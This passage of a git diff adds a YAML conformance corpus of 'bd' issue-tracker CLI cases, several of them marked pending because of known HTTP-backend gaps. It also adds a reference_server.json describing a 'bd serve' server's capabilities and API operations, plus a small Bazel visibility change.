gc-list-children + source: gc bdstore.go listViaBDList (Children, --parent) + args: [list, --json, --include-infra, --include-gates, --limit, "0", --parent, e2e-ep, --all] + - id: gc-list-in-progress-tier + source: gc workquery.go assignedInProgressTierCommandWithLimit + args: [list, --status, in_progress, --assignee=worker, --json, --limit=20] + - id: gc-list-on-death + source: gc workquery.go EffectiveOnDeath + args: [list, --assignee=worker, --status=in_progress, --json] + - id: gc-list-on-boot + source: gc workquery.go on_boot recovery (--no-assignee) + args: [list, --metadata-field, gc.routed_to=pool-a, --status=in_progress, --no-assignee, --json] + pending: {slice: "S6c+S15b", reason: "list stub (B3 #1); --no-assignee refused by the list encoder (B3 #11)"} + - id: gc-list-on-boot-workflow + source: gc workquery.go on_boot recovery, workflow lane + args: [list, --metadata-field, gc.run_target=pool-a, --metadata-field, gc.kind=workflow, --status=in_progress, --no-assignee, --json] + pending: {slice: "S6c+S15b", reason: "list stub (B3 #1); --no-assignee refused by the list encoder (B3 #11)"} + - id: mc-list-meta-status + source: mc assets snapshot.md (list --json --limit --metadata-field --status) + args: [list, --json, --limit, "50", --metadata-field, gc.routed_to=pool-a, --status, open] + compare: ids + # More than 50 rows match, most at one priority: --limit 50 cuts a tie set + # whose created_at order differs between the two seeds, so each side's 50 + # rows are held to its own unlimited listing instead. + prefix_of: [list, --json, --limit, "0", --metadata-field, gc.routed_to=pool-a, --status, open] + - id: mc-list-github-source + source: mc github-intake (list --all --json --limit --metadata-field x3) + args: [list, --metadata-field, gc.kind=github_source, --metadata-field, gc.github.kind=issue, --metadata-field, gc.github.repo=o/r, --all, --json, --limit, "0"] + - id: mc-list-all-type + source: mc normalized_candidate_graph.py (list --all --type) + args: [list, --all, --type, epic, --json, --limit, "50"] + - id: mc-list-include-gates-infra-label + source: mc mol-normalized-issue-pr-v1 (list --all --include-gates --include-infra --json --label --limit) + args: [list, --all, --include-gates, --include-infra, --json, --label, "lane:a", --limit, "0"] + - id: mc-list-title + source: mc mol-normalized-issue-pr-v1 (list --all --include-infra --json --limit --title) + args: [list, --all, --include-infra, --json, --limit, "10", --title, "Routed open task"] + pending: {slice: "S6c+S15b", reason: "list stub (B3 #1); --title is a text filter the list encoder refuses (B3 #11)"} + - id: mc-list-id + source: mc skills/pr-review (list --all --id --json --limit) + args: [list, --all, --id, "e2e-r1,e2e-a1", --json, --limit, "0"] + pending: {slice: "S6c+S15+S15b", reason: "list stub (B3 #1); --limit 0 (B3 #3); --id refused by the list encoder (B3 #11)"} + - id: mc-list-assignee-status + source: mc review summaries (list --assignee --json --limit --status) + args: [list, --assignee, alice, --json, --limit, "10", --status, open] + - id: mc-list-label-text + source: mc normalized_child_launch.py (list --label) + args: [list, --label, "lane:a"] + compare: text + - id: mc-list-plain + source: mc scripts (bare bd list) + args: [list] + compare: exit + - id: mc-children + source: mc prompts (bd children ) + args: [children, e2e-ep, --json] + + # ---------------------------------------------------------------- query / count / search + - id: gc-query-wisps + source: gc bdstore.go listEphemeral (query --json "ephemeral=true AND ..." --limit N) + args: [query, --json, "ephemeral=true AND label=lane:w", --limit, "50"] + - id: gc-query-wisps-all + source: gc bdstore.go listEphemeral with IncludeClosed (--all) + args: [query, --json, "ephemeral=true AND status=in_progress", --all, --limit, "50"] + - id: gc-query-wisp-by-id + source: gc bdstore.go getEphemeralByID + args: [query, --json, "ephemeral=true AND id=e2e-wisp-1", --all, --limit, "1"] + - id: gc-query-wisps-unlimited + source: gc workquery.go bdQueryEphemeralStatusShell (--limit=0, wisp tier) + args: [query, --json, "ephemeral=true AND status=open", --limit=0] + compare: ids + pending: {slice: "S15", reason: "query --limit=0 sends limit=0 and a non-loopback server refuses unlimited reads (B3 #3)"} + - id: mc-query + source: mc pr_merge.py (bd query) + args: [query, --json, "status=open AND priority<=1", --limit, "50"] + - id: gc-count + source: gc native CountIssues fallback (count without scope) + args: [count, --json] + - id: gc-count-status + source: gc count with a status filter + args: [count, --json, --status, open] + - id: mc-search + source: mc mol-bug-report-flow-v2 (bd search) + args: [search, "Routed", --json] + compare: ids + pending: {slice: "S24", reason: "NEW: bd search is refused over http ('partial-id search is not available over HTTP'); not in B3"} + - id: mc-status + source: mc normalized_child_launch.py (bd status) + args: [status, --json] + + # ---------------------------------------------------------------- deps / graph reads + - id: gc-dep-list + source: gc bdstore.go DepList + args: [dep, list, e2e-blk, --json] + - id: gc-dep-list-up + source: gc bdstore.go DepList (--direction=up) + args: [dep, list, e2e-r1, --json, --direction=up] + - id: gc-dep-list-batch + source: gc bdstore.go DepListBatch + args: [dep, list, e2e-blk, e2e-mol.2, --json] + - id: mc-dep-tree + source: mc pr_review.py city_dep_subtree (dep tree --json) + args: [dep, tree, e2e-mol, --json] + - id: gc-blocked + source: gc bdstore_ready_projection.go fetchReadyProjectionViaBlocked + args: [blocked, --json] + pending: {slice: "S18", reason: "bd blocked hits the GetBlockedIssues stub (B3 #10)"} + + # ---------------------------------------------------------------- molecules + - id: mc-mol-current + source: mc worker prompts (bd mol current, ~38; inferred from in_progress work) + args: [mol, current, --json] + pending: {slice: "S16", reason: "mol current without an id is silently empty over http (B3 #4)"} + - id: mc-mol-current-text + source: mc gc-role-worker template (bd mol current, text) + args: [mol, current] + compare: text + pending: {slice: "S16", reason: "mol current without an id is silently empty over http (B3 #4)"} + - id: mc-mol-current-id + source: mc prompts (bd mol current ) + args: [mol, current, e2e-mol, --json] + pending: {slice: "S16", reason: "mol current refuses (B3 #4)"} + - id: mc-mol-progress + source: mc prompts (bd mol progress ) + args: [mol, progress, e2e-mol, --json] + pending: {slice: "S16", reason: "mol progress refuses (B3 #4)"} + + # ---------------------------------------------------------------- config / probes / local + - id: gc-config-get-types + source: gc beads_provider_lifecycle.go / checks_custom_types.go (config get --json types.custom) + args: [config, get, --json, types.custom] + - id: gc-config-get-prefix + source: gc gc-beads-bd.sh (config get issue_prefix) + args: [config, get, issue_prefix] + compare: text + - id: gc-types + source: gc checks_custom_types.go (types --json) + args: [types, --json] + - id: gc-context + source: gc beads_preflight_checker.go (context --json); never touches the store + args: [context, --json] + compare: exit + - id: gc-version + source: gc bdstore_blocked_repair.go BDVersion + args: [version] + compare: exit + - id: gc-ping + source: gc cmd_beads_city_migrate_proxied.go / dashboard (ping --json) + args: [ping, --json] + compare: exit + - id: mc-prime + source: mc formulas (bd prime) + args: [prime] + compare: exit + - id: gc-sql-ready-projection + source: gc bdstore_ready_projection.go fetchReadyProjection + args: [sql, "select id,is_blocked from issues where status <> 'closed' union all select id,is_blocked from wisps where status <> 'closed'", --json] + expect_exit: 1 + expect_stderr: "'bd sql' is not yet supported" + compare: exit + - id: gc-sql-release-fallback + source: gc bdstore.go ReleaseIfCurrent fallback (sql UPDATE) + args: [sql, --json, "UPDATE issues SET status='open', assignee='' WHERE id='e2e-t-rel' AND status='in_progress' AND assignee='worker'"] + expect_exit: 1 + expect_stderr: "'bd sql' is not yet supported" + compare: exit + - id: gc-purge-dry-run + source: gc bdstore.go Purge (purge --json --dry-run) + args: [purge, --json, --dry-run] + compare: exit + pending: {slice: "SRV-1", reason: "purge needs the sweep tokens the reference server does not advertise (B3 #13); remove the mark when reference_server.json is upgraded"} + - id: gc-recompute-blocked + source: gc bdstore_blocked_repair.go RecomputeBlocked + args: [recompute-blocked, --json] + compare: exit + pending: {slice: "S25", reason: "NEW: recompute-blocked refuses over http ('storage backend does not support is_blocked recompute'); gc BdStore.RecomputeBlocked issues it; not in B3"} + - id: gc-backup-status + source: gc checks_proxied_backup_coverage.go (backup status --json) + args: [backup, status, --json] + compare: exit + - id: mc-gate-list + source: core pack orders (gate list) + args: [gate, list, --json] + pending: {slice: "S20", reason: "gate list issues a raw SearchIssues shape the bridge refuses (B3 #15)"} + + - id: gc-export-all + source: gc core pack reaper (gc bd export --all -o F) + args: [export, --all, -o, "{file:export.jsonl}"] + compare: exit + pending: {slice: "S21", reason: "export --all is not wired over http (B3 #16)"} + + # ================================================================ writes + # ---------------------------------------------------------------- create + - id: gc-create-full + source: gc bdstore.go CreateWithStorage (every optional flag but --parent) + args: [create, --json, "gc created", -t, task, --id, e2e-n1, --priority, "1", --description, "made by gc", --assignee, worker, --deps, e2e-r1, --labels, "lane:n,x", --metadata, '{"gc.routed_to":"pool-a"}'] + compare: exit + verify: [[show, --json, e2e-n1]] + - id: gc-create-parent + source: gc bdstore.go CreateWithStorage (--parent, server-minted child id) + args: [create, --json, "gc child", -t, task, --parent, e2e-ep] + compare: exit + verify: [[show, --json, e2e-ep.3]] + pending: {slice: "S19", reason: "create --parent calls GetNextChildID (B3 #8)"} + - id: gc-create-ephemeral + source: gc bdstore.go CreateWithStorage (--ephemeral) + args: [create, --json, "gc wisp", -t, task, --id, e2e-wisp-n2, --ephemeral, --metadata, '{"gc.routed_to":"pool-a"}'] + compare: exit + verify: [[show, --json, e2e-wisp-n2]] + - id: gc-create-no-history + source: gc bdstore.go CreateWithStorage (--no-history, agent beads) + args: [create, --json, "gc agent bead", -t, task, --id, e2e-n3, --no-history] + compare: exit + verify: [[show, --json, e2e-n3]] + - id: gc-create-defer + source: gc bdstore.go CreateWithStorage (--defer RFC3339) + args: [create, --json, "gc deferred", -t, task, --id, e2e-n4, --defer, "2100-01-01T00:00:00Z"] + compare: exit + verify: [[show, --json, e2e-n4]] + - id: mc-create-external-ref + source: mc snapshot.md (create --external-ref --labels --metadata --type) + args: [create, "triaged issue", --external-ref, gh-999, --labels, "triage", --metadata, '{"gc.kind":"github_source"}', --type, task, --id, e2e-n5, --json] + compare: exit + verify: [[show, --json, e2e-n5]] + - id: mc-create-text + source: mc prompts (bd create, text output) + args: [create, "plain create", --type, task, --id, e2e-n6] + compare: exit + verify: [[show, --json, e2e-n6]] + - id: gc-create-graph + source: gc bdstore_graph_apply.go ApplyGraphPlanWithStorage + args: [create, --graph, "{file:graph-small.json}", --json] + verify: [[show, --json, e2e-g-root, e2e-g-s1, e2e-g-s2]] + - id: gc-create-graph-ephemeral + source: gc bdstore_graph_apply.go (--ephemeral by storage class) + args: [create, --graph, "{file:graph-eph.json}", --json, --ephemeral] + verify: [[show, --json, e2e-wisp-g-root, e2e-wisp-g-s1]] + + # ---------------------------------------------------------------- update + - id: gc-update-fields + source: gc bdstore.go bdUpdateArgs (Update) + args: [update, --json, e2e-t-upd, --title, "updated", --status, in_progress, --type, bug, --priority, "1", --description, "new", --assignee, bob, --set-metadata, a=1, --set-metadata, b=2, --add-label, x, --remove-label, "lane:z"] + compare: exit + verify: [[show, --json, e2e-t-upd]] + - id: gc-update-parent + source: gc bdstore.go bdUpdateArgs (--parent) + args: [update, --json, e2e-t-upd2, --parent, e2e-ep] + compare: exit + verify: [[show, --json, e2e-t-upd2]] + - id: gc-update-many + source: gc bdstore.go UpdateAll / setMetadataBatchAll + args: [update, --json, e2e-t-m1, e2e-t-m2, --set-metadata, gc.batch=1, --priority, "3"] + compare: exit + verify: [[show, --json, e2e-t-m1, e2e-t-m2]] + - id: gc-update-claim + source: gc bdstore.go BdStore.Claim and gc hook --claim (update --claim --json) + args: [update, e2e-t-claim, --claim, --json] + compare: exit + verify: [[show, --json, e2e-t-claim]] + - id: gc-update-claim-actor + source: gc cmd_agent_script.go bd_claim (update --claim --actor X) + args: [update, e2e-t-claim2, --claim, --actor, alice] + compare: exit + verify: [[show, --json, e2e-t-claim2]] + - id: gc-update-claim-wisp + source: gc ready queues include ephemeral work; claiming a wisp + args: [update, e2e-wisp-c, --claim, --json] + compare: exit + verify: [[show, --json, e2e-wisp-c]] + pending: {slice: "SRV-1", reason: "the reference server lacks UpdateIssueRequest.claim, and the claimIssue fallback excludes wisps (B3 #6); remove the mark when reference_server.json is upgraded"} + - id: gc-update-if-revision + source: gc bdstore_conditional.go UpdateIfMatch / CompareAndSetMetadataKey + args: [update, e2e-t-rev, --set-metadata, k=v, --if-revision, "{rev:e2e-t-rev}"] + compare: exit + verify: [[show, --json, e2e-t-rev]] + - id: gc-update-if-revision-stale + source: gc bdstore_conditional.go UpdateIfMatch mismatch (exit 13) + args: [update, e2e-t-rev2, --set-metadata, k=v, --if-revision, "1"] + expect_exit: 13 + compare: exit + verify: [[show, --json, e2e-t-rev2]] + - id: gc-update-release-if-current + source: gc bdstore_conditional_release.go releaseIfCurrentViaBdVerb + args: [update, e2e-t-rel, --if-assignee, worker, --if-status, in_progress, --status, open, --assignee, ""] + compare: exit + verify: [[show, --json, e2e-t-rel]] + - id: gc-update-transfer-if-current + source: gc bdstore_conditional_release.go TransferIfCurrent + args: [update, e2e-t-xfer, --if-assignee, worker, --if-status, in_progress, --assignee, alice] + compare: exit + verify: [[show, --json, e2e-t-xfer]] + - id: gc-update-if-assignment + source: gc bdstore_conditional.go UpdateIfAssignment + args: [update, --json, e2e-t-ifa, --set-metadata, k=v, --if-status, in_progress, --if-assignee, worker] + compare: exit + verify: [[show, --json, e2e-t-ifa]] + - id: gc-update-if-assignment-assignee-stale + source: gc bdstore_conditional.go UpdateIfAssignment mismatch (exit 13) + args: [update, --json, e2e-t-ifa, --set-metadata, probe=a, --if-status, in_progress, --if-assignee, nobody] + expect_exit: 13 + compare: exit + verify: [[show, --json, e2e-t-ifa]] + - id: gc-update-if-assignment-status-stale + source: gc bdstore_conditional.go UpdateIfAssignment mismatch (exit 13) + args: [update, --json, e2e-t-ifa, --set-metadata, probe=s, --if-status, open, --if-assignee, worker] + expect_exit: 13 + compare: exit + verify: [[show, --json, e2e-t-ifa]] + - id: gc-update-on-death + source: gc workquery.go on_death (update --assignee "" --status open --set-metadata) + args: [update, e2e-t-death, --assignee, "", --status, open, --set-metadata, gc.run_target=pool-a] + compare: exit + verify: [[show, --json, e2e-t-death]] + - id: gc-update-on-boot + source: gc workquery.go on_boot (update --status open) + args: [update, e2e-t-boot, --status, open] + compare: exit + verify: [[show, --json, e2e-t-boot]] + - id: gc-update-sling + source: gc workquery.go DefaultSlingQuery (update --set-metadata gc.routed_to=) + args: [update, e2e-t-sling, --set-metadata, gc.routed_to=pool-b] + compare: exit + verify: [[show, --json, e2e-t-sling]] + - id: gc-update-agent-script + source: gc cmd_agent_script.go bd_update (--assignee --status --append-notes --set-metadata) + args: [update, e2e-t-as, --assignee, worker, --status, in_progress, --append-notes, "agent note", --set-metadata, k=v] + compare: exit + verify: [[show, --json, e2e-t-as]] + - id: gc-update-dolt-auto-commit-off + source: gc bdstore.go bdTransientWriteArgs (--dolt-auto-commit off prefix) + args: [--dolt-auto-commit, "off", update, --json, e2e-t-dac, --set-metadata, k=v] + compare: exit + verify: [[show, --json, e2e-t-dac]] + - id: mc-update-meta-status + source: mc prompts (update --set-metadata --status, ~151) + args: [update, e2e-t-ms, --set-metadata, review.verdict=iterate, --status, in_progress] + compare: exit + verify: [[show, --json, e2e-t-ms]] + - id: mc-update-meta-status-closed + source: mc prompts (update --set-metadata --status closed, under Claude Code) + args: [update, e2e-t-msc, --set-metadata, review.verdict=done, --status, closed] + compare: exit + verify: [[show, --json, e2e-t-msc]] + pending: {slice: "S6d", reason: "a silent data difference, not a refusal: the update succeeds on both sides under CLAUDE_SESSION_ID, but the served update records no closed_by_session (an http update patch cannot carry one, so the CLI drops it without a word; bd close does carry it) where embedded records the session, so the verify show differs (B3 #7)"} + - id: mc-update-unset-metadata + source: mc adopt-pr-operator (update --unset-metadata) + args: [update, e2e-t-um, --unset-metadata, k] + compare: exit + verify: [[show, --json, e2e-t-um]] + - id: mc-update-notes + source: mc github fix-issue formula (update --notes) + args: [update, e2e-t-notes, --notes, "notes text"] + compare: exit + verify: [[show, --json, e2e-t-notes]] + - id: mc-update-external-ref-metadata + source: mc snapshot.md (update --external-ref --metadata) + args: [update, e2e-t-er, --external-ref, gh-1, --metadata, '{"gc.kind":"github_source"}'] + compare: exit + verify: [[show, --json, e2e-t-er]] + - id: mc-update-metadata + source: mc build-base prepare.md (update --metadata) + args: [update, e2e-t-md, --metadata, '{"x":"1"}'] + compare: exit + verify: [[show, --json, e2e-t-md]] + - id: mc-update-assignee + source: mc review reports (update --assignee) + args: [update, e2e-t-asg, --assignee, bob] + compare: exit + verify: [[show, --json, e2e-t-asg]] + + # ---------------------------------------------------------------- close / reopen + - id: gc-close-force-reason-many + source: gc bdstore.go bdCloseArgs (CloseAll/CloseAllWithReason) + args: [close, --force, --json, --reason, done, e2e-t-c1, e2e-t-c2] + compare: exit + verify: [[show, --json, e2e-t-c1, e2e-t-c2]] + - id: gc-close-if-revision + source: gc bdstore_conditional.go CloseIfMatch + args: [close, --force, --json, e2e-t-c3, --if-revision, "{rev:e2e-t-c3}"] + compare: exit + verify: [[show, --json, e2e-t-c3]] + - id: mc-close-text + source: mc formulas (bd close ) + args: [close, e2e-t-c4] + compare: exit + verify: [[show, --json, e2e-t-c4]] + - id: mc-close-reason + source: mc build-basic-review (bd close --reason) + args: [close, e2e-t-c5, --reason, "review applied"] + compare: exit + verify: [[show, --json, e2e-t-c5]] + - id: gc-close-last-step-autocloses-molecule + source: gc/mc molecule lifecycle (closing the last open step closes the root) + args: [close, --force, --json, e2e-mac.2] + compare: exit + verify: [[show, --json, e2e-mac]] + - id: gc-reopen + source: gc bdstore.go Reopen + args: [reopen, --json, e2e-t-ro] + compare: exit + verify: [[show, --json, e2e-t-ro]] + + # ---------------------------------------------------------------- delete / reclaim / promote / burn + - id: gc-delete + source: gc bdstore.go Delete + args: [delete, --force, --json, e2e-t-d1] + compare: exit + verify: [[show, --json, e2e-t-d1]] + - id: gc-delete-if-revision + source: gc bdstore_conditional.go DeleteIfMatch + args: [delete, --force, --json, e2e-t-d2, --if-revision, "{rev:e2e-t-d2}"] + compare: exit + verify: [[show, --json, e2e-t-d2]] + - id: gc-delete-batch + source: gc bdstore.go DeleteBatch (no --json) + args: [delete, e2e-t-d3, e2e-t-d4, --force] + compare: exit + verify: [[show, --json, e2e-t-d3]] + - id: gc-delete-cascade + source: gc cmd_convoy_dispatch.go deleteWorkflowMatches + args: [delete, e2e-t-dc, --cascade, --force] + compare: exit + verify: [[show, --json, e2e-t-dc.1]] + - id: mc-delete-from-file + source: mc session_cleanup.py / core reaper (delete --from-file) + args: [delete, --from-file, "{file:delete-list.txt}", --force] + compare: exit + verify: [[show, --json, e2e-t-df1]] + - id: gc-reclaim + source: gc bdstore.go ReclaimStale (reclaim --id --json) + args: [reclaim, --id, e2e-t-rc, --json] + compare: exit + verify: [[show, --json, e2e-t-rc]] + pending: {slice: "SRV-1", reason: "the reference server does not advertise issues.reclaim (B3 #12), so the client refuses at its capability preflight"} + - id: mc-promote + source: mc mol-normalized-issue-pr-v1 (promote --reason) + args: [promote, e2e-wisp-p, --reason, "keep it"] + compare: exit + pending: {slice: "S21", reason: "promote is not wired over http (B3 #16)"} + - id: mc-mol-burn + source: mc review fixtures (mol burn --force) + args: [mol, burn, e2e-wisp-m, --force] + compare: exit + verify: [[show, --json, e2e-wisp-m.1]] + pending: {slice: "S17", reason: "mol burn needs RunInTransaction (B3 #14)"} + + # ---------------------------------------------------------------- deps / comments / labels / config writes + - id: gc-dep-add + source: gc bdstore.go DepAdd + args: [dep, add, e2e-t-da, e2e-t-db, --type, blocks] + compare: exit + verify: [[dep, list, e2e-t-da, --json]] + - id: gc-dep-remove + source: gc bdstore.go DepRemove + args: [dep, remove, e2e-t-dr, e2e-t-db] + compare: exit + verify: [[dep, list, e2e-t-dr, --json]] + - id: mc-comment + source: mc bug_hunt.py (bd comment ) + args: [comment, e2e-t-cm, "a comment"] + compare: exit + verify: [[comments, e2e-t-cm, --json]] + ignore_fields: [id] # comment ids are minted per workspace + - id: mc-comments-list + source: mc prompts (bd comments ) + args: [comments, e2e-r1, --json] + ignore_fields: [id] # comment ids are minted per workspace + - id: mc-label-add + source: mc prompts (bd label add) + args: [label, add, e2e-t-l, "lane:q"] + compare: exit + verify: [[show, --json, e2e-t-l]] + - id: mc-assign + source: mc prompts (bd assign) + args: [assign, e2e-t-as2, alice] + compare: exit + verify: [[show, --json, e2e-t-as2]] + - id: gc-config-set-types + source: gc beads_provider_lifecycle.go (config set types.custom a,b) + args: [config, set, types.custom, "corpus-a,corpus-b"] + compare: exit + verify: [[config, get, --json, types.custom]] + - id: mc-meta-set + source: mc adopt-pr-review checks (bd meta set k=v) + args: [meta, set, e2e-r1, review.verdict=done] + expect_exit: 1 + expect_stderr: 'unknown command "meta"' + compare: exit diff --git a/backend/http/corpus/testdata/reference_server.json b/backend/http/corpus/testdata/reference_server.json new file mode 100644 index 000000000..7bdf6d0d0 --- /dev/null +++ b/backend/http/corpus/testdata/reference_server.json @@ -0,0 +1,595 @@ +{ + "comment": [ + "The reference server profile the corpus suite masks the in-process server to.", + "It is the wire surface of a deployed bd 1.3.0 `bd serve` that predates wire_revision:", + "capabilities is that server's advertised ContextResponse.capabilities (read off a live GET /v0/beads/context),", + "context_members is its ContextResponse property set, and operations are the method, path template,", + "query parameter names and top-level JSON request members of its published OpenAPI document (MIT).", + "Regenerate by hand when the reference deployment is upgraded; see README.md." + ], + "capabilities": [ + "config.get", + "config.list", + "config.set", + "config.unset", + "dependencies.add", + "dependencies.blocking", + "dependencies.count", + "dependencies.cycles", + "dependencies.list", + "dependencies.remove", + "dependencies.tree", + "events.list", + "events.watch", + "issues.addComment", + "issues.batchApply", + "issues.batchClose", + "issues.batchCreate", + "issues.casMetadata", + "issues.claim", + "issues.claimNext", + "issues.close", + "issues.count", + "issues.create", + "issues.delete", + "issues.get", + "issues.list", + "issues.list.sort", + "issues.query", + "issues.related", + "issues.release", + "issues.reopen", + "issues.sweep", + "issues.update", + "memories.forget", + "memories.get", + "memories.list", + "memories.remember", + "policy.external_dependencies", + "project.enforce", + "ready.count", + "ready.list", + "stats.get" + ], + "context_members": [ + "api_version", + "backend", + "bd_version", + "beads_dir", + "capabilities", + "database", + "dolt_mode", + "project_id", + "repo_root", + "schema_version" + ], + "operations": [ + { + "method": "GET", + "path": "/healthz", + "operation_id": "health", + "query": [], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/config", + "operation_id": "listSettings", + "query": [], + "body": [] + }, + { + "method": "DELETE", + "path": "/v0/beads/config/{key}", + "operation_id": "unsetSetting", + "query": [], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/config/{key}", + "operation_id": "getSetting", + "query": [], + "body": [] + }, + { + "method": "PUT", + "path": "/v0/beads/config/{key}", + "operation_id": "setSetting", + "query": [], + "body": [ + "value" + ] + }, + { + "method": "GET", + "path": "/v0/beads/context", + "operation_id": "getContext", + "query": [], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/dependencies", + "operation_id": "listDependencies", + "query": [ + "issue_id", + "type" + ], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/dependencies/blocking", + "operation_id": "listBlockingAnnotations", + "query": [ + "issue_id" + ], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/dependencies/cycles", + "operation_id": "listDependencyCycles", + "query": [], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/dependencies/tree", + "operation_id": "getDependencyTree", + "query": [ + "direction", + "max_depth", + "root_id", + "status" + ], + "body": [] + }, + { + "method": "POST", + "path": "/v0/beads/dependencies:add", + "operation_id": "addDependencies", + "query": [], + "body": [ + "actor", + "edges" + ] + }, + { + "method": "GET", + "path": "/v0/beads/dependencies:count", + "operation_id": "countDependencyEdges", + "query": [ + "direction", + "issue_id", + "status", + "type" + ], + "body": [] + }, + { + "method": "POST", + "path": "/v0/beads/dependencies:remove", + "operation_id": "removeDependency", + "query": [], + "body": [ + "actor", + "depends_on_id", + "issue_id" + ] + }, + { + "method": "GET", + "path": "/v0/beads/events", + "operation_id": "listEvents", + "query": [ + "limit", + "since" + ], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/events:watch", + "operation_id": "watchEvents", + "query": [ + "since" + ], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/issues", + "operation_id": "listIssues", + "query": [ + "all", + "assignee", + "brief", + "created_after", + "created_before", + "cursor", + "exclude_label", + "has_metadata_key", + "include_ephemeral", + "include_gates", + "include_infra", + "include_templates", + "label", + "label_any", + "limit", + "metadata_field", + "parent", + "reverse", + "sort", + "status", + "type" + ], + "body": [] + }, + { + "method": "POST", + "path": "/v0/beads/issues", + "operation_id": "createIssue", + "query": [], + "body": [ + "acceptance_criteria", + "actor", + "assignee", + "defer_until", + "dependencies", + "description", + "design", + "due_at", + "ephemeral", + "estimated_minutes", + "external_ref", + "force_id_prefix", + "id", + "inherit_labels_from_parent", + "issue_type", + "labels", + "metadata", + "no_history", + "notes", + "owner", + "parent_id", + "priority", + "sender", + "status", + "title", + "waits_for" + ] + }, + { + "method": "GET", + "path": "/v0/beads/issues/{id}", + "operation_id": "getIssue", + "query": [ + "brief_deps", + "include_comments", + "include_dependents" + ], + "body": [] + }, + { + "method": "PATCH", + "path": "/v0/beads/issues/{id}", + "operation_id": "updateIssue", + "query": [], + "body": [ + "actor", + "expected_assignee", + "expected_status", + "expected_version", + "force_assignee_transfer", + "force_close_policy", + "patch" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues/{id}/comments", + "operation_id": "addComment", + "query": [], + "body": [ + "author", + "text" + ] + }, + { + "method": "GET", + "path": "/v0/beads/issues/{id}/related", + "operation_id": "listRelatedIssues", + "query": [ + "direction", + "type" + ], + "body": [] + }, + { + "method": "POST", + "path": "/v0/beads/issues/{id}:casMetadata", + "operation_id": "compareAndSetMetadata", + "query": [], + "body": [ + "actor", + "expected", + "key", + "value" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues/{id}:claim", + "operation_id": "claimIssue", + "query": [], + "body": [ + "actor" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues/{id}:close", + "operation_id": "closeIssue", + "query": [], + "body": [ + "actor", + "expected_version", + "force", + "reason", + "session" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues/{id}:release", + "operation_id": "releaseIssue", + "query": [], + "body": [ + "actor", + "expected_assignee", + "force" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues/{id}:reopen", + "operation_id": "reopenIssue", + "query": [], + "body": [ + "actor", + "expected_version", + "reason" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues:batchApply", + "operation_id": "applyBatch", + "query": [], + "body": [ + "actor", + "force_id_prefix", + "items", + "provenance", + "skip_per_edge_cycle_check" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues:batchClose", + "operation_id": "batchCloseIssues", + "query": [], + "body": [ + "actor", + "claim_next", + "force", + "items", + "session" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues:batchCreate", + "operation_id": "batchCreateIssues", + "query": [], + "body": [ + "actor", + "items" + ] + }, + { + "method": "POST", + "path": "/v0/beads/issues:claimNext", + "operation_id": "claimNextIssue", + "query": [ + "assignee", + "exclude_label", + "exclude_type", + "has_metadata_key", + "include_deferred", + "include_ephemeral", + "label", + "label_any", + "label_pattern", + "label_regex", + "metadata_field", + "parent", + "priority", + "sort", + "type", + "unassigned" + ], + "body": [ + "actor" + ] + }, + { + "method": "GET", + "path": "/v0/beads/issues:count", + "operation_id": "countIssues", + "query": [ + "assignee", + "closed_after", + "closed_before", + "created_after", + "created_before", + "desc_contains", + "empty_description", + "group_by", + "id", + "include_infra", + "label", + "label_any", + "metadata_field", + "no_assignee", + "no_labels", + "notes_contains", + "priority", + "priority_max", + "priority_min", + "status", + "title", + "title_contains", + "type", + "updated_after", + "updated_before" + ], + "body": [] + }, + { + "method": "POST", + "path": "/v0/beads/issues:delete", + "operation_id": "deleteIssues", + "query": [], + "body": [ + "actor", + "cascade", + "dry_run", + "expected_version", + "force", + "ids" + ] + }, + { + "method": "GET", + "path": "/v0/beads/issues:query", + "operation_id": "queryIssues", + "query": [ + "all", + "limit", + "q", + "reverse", + "sort" + ], + "body": [] + }, + { + "method": "POST", + "path": "/v0/beads/issues:sweep", + "operation_id": "sweepIssues", + "query": [], + "body": [ + "actor", + "closed_before", + "dry_run", + "pattern", + "protect_referenced", + "tier" + ] + }, + { + "method": "GET", + "path": "/v0/beads/memories", + "operation_id": "listMemories", + "query": [ + "search" + ], + "body": [] + }, + { + "method": "POST", + "path": "/v0/beads/memories", + "operation_id": "rememberMemory", + "query": [], + "body": [ + "content", + "key" + ] + }, + { + "method": "DELETE", + "path": "/v0/beads/memories/{key}", + "operation_id": "forgetMemory", + "query": [], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/memories/{key}", + "operation_id": "getMemory", + "query": [], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/ready", + "operation_id": "listReadyWork", + "query": [ + "assignee", + "brief", + "exclude_label", + "exclude_type", + "has_metadata_key", + "include_deferred", + "include_ephemeral", + "label", + "label_any", + "label_pattern", + "label_regex", + "limit", + "metadata_field", + "parent", + "priority", + "sort", + "type", + "unassigned" + ], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/ready:count", + "operation_id": "countReadyWork", + "query": [ + "assignee", + "exclude_label", + "exclude_type", + "has_metadata_key", + "include_deferred", + "include_ephemeral", + "label", + "label_any", + "label_pattern", + "label_regex", + "metadata_field", + "parent", + "priority", + "type", + "unassigned" + ], + "body": [] + }, + { + "method": "GET", + "path": "/v0/beads/stats", + "operation_id": "getStats", + "query": [ + "assignee", + "skip_blocked" + ], + "body": [] + } + ] +} \ No newline at end of file diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 67f4cb9ed..24364853d 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -516,6 +516,7 @@ go_binary( race = "off", visibility = [ "//backend/http:__pkg__", + "//backend/http/corpus:__pkg__", "//cmd/bd:__subpackages__", "//internal/beads:__pkg__", "//internal/storage/uow:__pkg__", diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index 